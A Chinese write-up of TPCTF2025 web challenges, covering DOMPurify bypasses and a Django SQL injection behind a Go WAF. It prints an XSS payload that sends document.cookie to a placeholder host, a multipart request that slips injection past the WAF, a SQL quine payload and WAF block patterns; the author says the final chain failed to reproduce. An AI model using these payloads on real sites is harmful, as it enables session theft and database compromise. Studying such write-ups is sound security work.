TPCTF2025 wp
misc签到
TPCTF{w3LCOMe_70_tpcTF_2025_H0Pe_Y0u_HavE_fun!!}
baby layout
layout系列有三题
第一题是常规Dompurify
提交<img src=x onerror="">会把onerror删掉
但是这题要求提交一个layout,一个content,会把layout中{{content}}的内容替换为content的内容
所以提交layout为<img src={{content}}>
content内容为x onerror="alert(1)"即可
safe layout
这次Dompurify更加严格,设置ALLOWED_ATTR为空,也就是不允许有属性
但是Dompurify有个问题,除非单独设置,不然会默认允许data-开头的属性
参考文章 Exploring the DOMPurify library: Hunting for Misconfigurations (2/2) | mizu.re
safe layout
测试发现<style>标签里面的涉及<>但是不形成完整标签的,会保留<>而不会转义
但是默认删除<style>标签,为了保留,可以在前面加上\\u001B(B字符,混淆Dompurify
<{{content}}/style>标签会被保留,输入的content为空,就会闭合<style>
img标签同理
最终payload
import requests
d ="""\u001B(B<style><{{content}}/style><{{content}}img src=x onerror=fetch(fetch('http://ip:port/?'+document.cookie));>"""
j = {"layout":d}
h = {"cookie":"connect.sid=s%3AhOhZmzjqeGgl6IQDODg6OVCTj7_E9t80.T4M4cKeLXH5ZMj6jIee6wD9Ku%2FZO2BAY9L5UywmMWZg"}
r = requests.post(url="http://1.95.61.75:3000/api/layout", json=j, headers=h)
print(r.text)
print(r.status_code)以下是赛后wp
supersqli
给了源码
from django.shortcuts import render
from django.db import connection
# Create your views here.
from django.http import HttpResponse,HttpRequest
from .models import AdminUser,Blog
import os
def index(request:HttpRequest):
return HttpResponse('Welcome to TPCTF 2025')
def flag(request:HttpRequest):
if request.method != 'POST':
return HttpResponse('Welcome to TPCTF 2025')
username = request.POST.get('username')
if username != 'admin':
return HttpResponse('you are not admin.')
password = request.POST.get('password')
users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))
try:
assert password == users[0].password
return HttpResponse(os.environ.get('FLAG'))
except:
return HttpResponse('wrong password')关键部分是assert password == users[0].password
也就是要求传入的密码和查询出的密码相同
一般的sql注入是不可能做到的,而且测试发现数据库里面没内容(时间盲注过了,不行)
所以明确了要用quine来绕(输出与自身代码相同)
quine和mysql8新特性 - meraklbz - 博客园
但是有个waf不会绕。。。。
package main
import (
"bytes"
"io"
"log"
"mime"
"net/http"
"regexp"
"strings"
)
const backendURL = "http://127.0.0.1:8000"
const backendHost = "127.0.0.1:8000"
var blockedIPs = map[string]bool{
"1.1.1.1": true,
}
var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)
var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)
var hotfixPattern = regexp.MustCompile(`(?i)(select)`)
var blockedUserAgents = []string{
"sqlmap",
"nmap",
"curl",
}
func isBlockedIP(ip string) bool {
return blockedIPs[ip]
}
func isMaliciousRequest(r *http.Request) bool {
for key, values := range r.URL.Query() {
for _, value := range values {
if sqlInjectionPattern.MatchString(value) {
log.Printf("阻止 SQL 注入: 参数 %s=%s", key, value)
return true
}
if rcePattern.MatchString(value) {
log.Printf("阻止 RCE 攻击: 参数 %s=%s", key, value)
return true
}
if hotfixPattern.MatchString(value) {
log.Printf("参数 %s=%s", key, value)
return true
}
}
}
if r.Method == http.MethodPost {
ct := r.Header.Get("Content-Type")
mediaType, _, err := mime.ParseMediaType(ct)
if err != nil {
log.Printf("解析 Content-Type 失败: %v", err)
return true
}
if mediaType == "multipart/form-data" {
if err := r.ParseMultipartForm(65535); err != nil {
log.Printf("解析 POST 参数失败: %v", err)
return true
}
} else {
if err := r.ParseForm(); err != nil {
log.Printf("解析 POST 参数失败: %v", err)
return true
}
}
for key, values := range r.PostForm {
log.Printf("POST 参数 %s=%v", key, values)
for _, value := range values {
if sqlInjectionPattern.MatchString(value) {
log.Printf("阻止 SQL 注入: POST 参数 %s=%s", key, value)
return true
}
if rcePattern.MatchString(value) {
log.Printf("阻止 RCE 攻击: POST 参数 %s=%s", key, value)
return true
}
if hotfixPattern.MatchString(value) {
log.Printf("POST 参数 %s=%s", key, value)
return true
}
}
}
}
return false
}
func isBlockedUserAgent(userAgent string) bool {
for _, blocked := range blockedUserAgents {
if strings.Contains(strings.ToLower(userAgent), blocked) {
return true
}
}
return false
}
func reverseProxyHandler(w http.ResponseWriter, r *http.Request) {
clientIP := r.RemoteAddr
if isBlockedIP(clientIP) {
http.Error(w, "Forbidden", http.StatusForbidden)
log.Printf("阻止的 IP: %s", clientIP)
return
}
bodyBytes, err := io.ReadAll(r.Body)
if err != nil {
http.Error(w, "Bad Request", http.StatusBadRequest)
return
}
r.Body = io.NopCloser(bytes.NewBuffer(bodyBytes))
if isMaliciousRequest(r) {
http.Error(w, "Malicious request detected", http.StatusForbidden)
return
}
if isBlockedUserAgent(r.UserAgent()) {
http.Error(w, "Forbidden User-Agent", http.StatusForbidden)
log.Printf("阻止的 User-Agent: %s", r.UserAgent())
return
}
proxyReq, err := http.NewRequest(r.Method, backendURL+r.RequestURI, bytes.NewBuffer(bodyBytes))
if err != nil {
http.Error(w, "Bad Gateway", http.StatusBadGateway)
return
}
proxyReq.Header = r.Header
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
resp, err := client.Do(proxyReq)
if err != nil {
http.Error(w, "Bad Gateway", http.StatusBadGateway)
return
}
defer resp.Body.Close()
for key, values := range resp.Header {
for _, value := range values {
if key == "Location" {
value = strings.Replace(value, backendHost, r.Host, -1)
}
w.Header().Add(key, value)
}
}
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body)
}
func main() {
http.HandleFunc("/", reverseProxyHandler)
log.Println("Listen on 0.0.0.0:8080")
log.Fatal(http.ListenAndServe(":8080", nil))
}从源码来看,几乎不可能绕过。。。。
但是有些waf识别到Content-Type 类 型 为multipart/form-data后, 会将它认为是文件上传请求 ,从而不检测其他种类攻击只检测文件上传,导致被绕过
所以可以构造payload
POST /flag/ HTTP/1.1
Host: 1.95.159.113:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXcT1f23abcde
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; filename="data"
Content-Disposition: form-data; name="username"
admin
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; filename="data"
Content-Disposition: form-data; name="password"
' or 1=1 --
------WebKitFormBoundary7MA4YWxkTrZu0gW--绕过waf之后就可以用payload
' union SELECT 1,2,REPLACE(REPLACE('" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--',CHAR(34),CHAR(39)),CHAR(46),'" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--') AS weljoni--
哎,真可惜,不知道这样能绕
不过自己复现没成功,不知道为啥
剩下的还没出官方wp,等出了有时间再研究吧